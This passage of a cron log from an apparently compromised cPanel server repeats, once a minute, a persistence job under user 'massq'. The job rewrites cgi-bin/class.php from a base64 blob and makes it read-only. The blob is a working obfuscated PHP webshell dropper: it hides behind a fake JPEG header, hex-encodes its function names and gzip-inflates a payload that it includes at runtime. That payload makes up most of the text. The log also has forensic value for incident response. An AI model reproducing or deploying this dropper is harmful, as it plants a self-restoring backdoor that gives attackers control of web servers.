QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:57:01 server CROND[9283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 01:57:01 server CROND[9284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:58:01 server CROND[9419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:59:01 server CROND[9482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:00:01 server CROND[9543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:00:01 server CROND[9545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 02:00:01 server CROND[9547]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr 13 02:00:01 server CROND[9549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:00:01 server CROND[9550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:00:01 server CROND[9546]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 13 02:01:01 server CROND[9670]: (root) CMD (run-parts /etc/cron.hourly)
Apr 13 02:01:01 server CROND[9671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:01:01 server run-parts(/etc/cron.hourly)[9670]: starting 0anacron
Apr 13 02:01:01 server anacron[9683]: Anacron started on 2025-04-13
Apr 13 02:01:01 server anacron[9683]: Normal exit (0 jobs run)
Apr 13 02:01:01 server run-parts(/etc/cron.hourly)[9685]: finished 0anacron
Apr 13 02:02:01 server CROND[9735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:03:01 server CROND[9791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:04:01 server CROND[9955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:05:01 server CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:05:01 server CROND[10004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 02:05:01 server CROND[10005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:05:01 server CROND[10002]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 13 02:05:01 server CROND[10003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:06:01 server CROND[10111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:07:01 server CROND[10151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:08:01 server CROND[10234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:09:01 server CROND[10393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:09:01 server CROND[10394]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 02:10:01 server CROND[10587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:10:01 server CROND[10586]: (root) CMD (/usr/lib64/sa/sa1 1 1)
